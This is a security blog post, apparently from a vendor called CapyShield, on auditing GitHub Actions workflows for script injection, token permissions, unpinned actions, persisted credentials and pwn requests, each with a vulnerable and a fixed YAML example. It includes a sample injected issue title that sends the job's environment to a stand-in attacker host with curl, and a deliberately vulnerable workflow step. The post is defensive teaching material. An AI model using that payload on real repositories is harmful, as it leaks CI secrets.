How to audit GitHub Actions workflows for security issues
By the CapyShield team · · 5 min read
In short
Most GitHub Actions compromises come from five workflow mistakes: script injection through ${{ }} expressions, over-broad GITHUB_TOKEN permissions, actions pinned to mutable tags, checkout credentials left on disk, and pull request code run with secrets. Each has a simple fix, from passing untrusted input through environment variables to pinning actions by commit SHA. A static check such as capyshield actions, run on every pull request that changes a workflow, catches them before they merge.
A GitHub Actions workflow is code that runs with your repository's secrets and a token that can often push to it. Most real-world compromises of CI don't need a clever exploit: they need one of a handful of well-known mistakes in a YAML file. This post walks through those mistakes, shows the vulnerable and fixed version of each, and ends with how to check every workflow automatically on each pull request.
What are the most common security issues in GitHub Actions workflows?
Five patterns cover most of the risk:
- Script injection. Untrusted text from an issue title, pull request body, comment or branch name is pasted into a
run:script through a${{ }}expression and executed as shell. - Over-broad token permissions. The workflow has no
permissions:block, or useswrite-all, so every step gets aGITHUB_TOKENthat can write to the repository. - Unpinned third-party actions.
uses: owner/action@v3runs whatever commit the tag points to today, and tags can be moved. - Credentials left on disk.
actions/checkoutpersists the token for later git commands unless you setpersist-credentials: false, so any later step can read it. - Running pull request code with secrets. A
pull_request_targetorworkflow_runworkflow checks out the pull request's head and builds it, handing a stranger's code your secrets. This is the "pwn request".
None of these are exotic. They show up because each one is the shortest way to make a workflow work, and nothing fails until someone abuses it.
How does script injection work in a GitHub Actions run step?
Expressions in ${{ }} are expanded before the shell sees the script. The runner writes the expanded text to a temporary script file and executes it, so the value becomes part of the code, not an argument. This step looks harmless:
# VULNERABLE
on: issues
jobs:
triage:
runs-on: ubuntu-latest
steps:
- run: echo "New issue: ${{ github.event.issue.title }}"Anyone who can open an issue controls that title. A title such as x"; curl -d "$(env)" https://attacker.example; echo " closes the quote, runs a command with the job's environment, and reopens the quote so the script still parses. The same applies to pull request titles and bodies, review and comment bodies, commit messages, and github.head_ref, the branch name of a fork.
The fix GitHub recommends is to pass the value through an intermediate environment variable. The shell then treats it as data:
# SAFE: the title is a variable, never part of the script text
- env:
TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $TITLE"The quotes around "$TITLE" matter too: without them, word splitting and globbing still apply. The same rule holds for actions/github-script: read untrusted values from context or process.env inside the JavaScript, never by interpolating ${{ }} into the script: text.
How should you set GITHUB_TOKEN permissions in a workflow?
Declare them explicitly and start from nothing. When you set any permission, every permission you don't list is set to none, so a read-only default at the top of the file plus additions per job is the least-privilege pattern:
permissions:
contents: read # default for every job in this file
jobs:
test:
runs-on: ubuntu-latest
steps: [...] # read-only token
release:
runs-on: ubuntu-latest
permissions:
contents: write # only this job can push tags and create releases
steps: [...]Avoid permissions: write-all, and don't rely on the repository default. Repositories and organizations created before February 2023 may still default to a read and write token. An explicit block also documents intent: a reviewer can see that the lint job has no business writing anything. Note that an action can read the token through the github.token context even if you never pass it in, so narrowing the permissions is the only control that applies to every step.
Why do unpinned actions matter for security?
Because a tag is a pointer the action's owner, or anyone who compromises the owner, can move. In March 2025 attackers retroactively changed multiple version tags of tj-actions/changed-files to point to a malicious commit that dumped the runner's memory and printed secrets into build logs. GitHub's advisory puts the impact at over 23,000 repositories. Workflows that referenced the action by tag ran the malicious code on their next build; workflows pinned to a commit SHA did not.
Pin every third-party action to its full 40-character commit SHA, with the version in a comment so humans and Dependabot can read it:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: falseGitHub now also offers workflow dependency lockfiles, which record the exact commit for every action including transitive ones. Our post on pinning actions to a commit SHA covers both approaches and how to keep pins up to date.
How do you audit GitHub Actions workflows automatically?
Run a static check on every pull request that touches .github/workflows, and fail the build on the serious findings. The CapyShield CLI includes one: capyshield actions reads .github/workflows/*.yml offline, with no GitHub API calls and nothing executed, and points each finding at its line. It runs a small, fixed rule set aimed at the issues above:
untrusted-checkout(critical): a checkout of the pull request head underpull_request_targetorworkflow_runtemplate-injection(high): untrusted${{ github.event.* }}input inrun:or agithub-scriptscript:unpinned-uses(high): auses:ref that isn't a 40-character SHA (local./actions anddocker://images are skipped)write-all-permissions(high) andmissing-permissions(medium)persist-credentials(medium):actions/checkoutwithoutpersist-credentials: false
# locally, or as a CI step; exits 4 if a finding is at or above the threshold
capyshield actions --fail-on high
# machine-readable output for other tooling
capyshield actions --repo . --jsonIn CI, add it after installing the CLI with the pinned CapyShield action, as shown in the docs. The rule set is deliberately narrow: it covers the highest-impact problems and nothing else. For deeper analysis with a much larger rule set, zizmor is a dedicated workflow auditor, and GitHub's CodeQL can scan Actions workflows too. The tools complement each other; what matters is that some check runs on every change to a workflow, because the vulnerable line is usually added by someone who just wanted the build to go green.
When a first run reports a long list, fix in order of blast radius. An untrusted-checkout or template-injection finding can be exploited by anyone who can open a pull request or an issue, so fix those first. Then tighten permissions, because that limits what any remaining bug can do. Pinning and checkout credentials come after, and are mostly mechanical changes you can make in one pull request.
Frequently asked questions
- What is script injection in GitHub Actions?
- Script injection happens when an untrusted value such as an issue title or pull request body is interpolated into a run: step with a ${{ }} expression. The value is expanded before the shell runs, so it becomes part of the script and can execute commands with the job's secrets.
- How do you prevent script injection in a GitHub Actions run step?
- Pass the untrusted value through an intermediate environment variable, for example env: TITLE: ${{ github.event.issue.title }}, and reference it as "$TITLE" in the script. The shell then treats it as data instead of code.
- What permissions should a GitHub Actions workflow have?
- Start with permissions: contents: read at the top of the workflow and grant write permissions only to the jobs that need them. Listing any permission sets every unlisted one to none, and write-all should be avoided.
- How do I scan GitHub Actions workflows for security problems?
- Run a static checker on every pull request that changes .github/workflows. capyshield actions --fail-on high checks offline for unpinned actions, template injection, untrusted checkouts, write-all or missing permissions and persisted checkout credentials, and exits with code 4 when it finds one at or above the threshold.
Sources
- GitHub Docs: Secure use reference for GitHub Actions
- GitHub Security Lab: Keeping your GitHub Actions and workflows secure, Part 2: Untrusted input
- GitHub Docs: Workflow syntax, permissions
- GitHub Advisory GHSA-mrrh-fwg8-r2c3: tj-actions/changed-files compromise (CVE-2025-30066)
- CapyShield workflow audit: how the actions rules work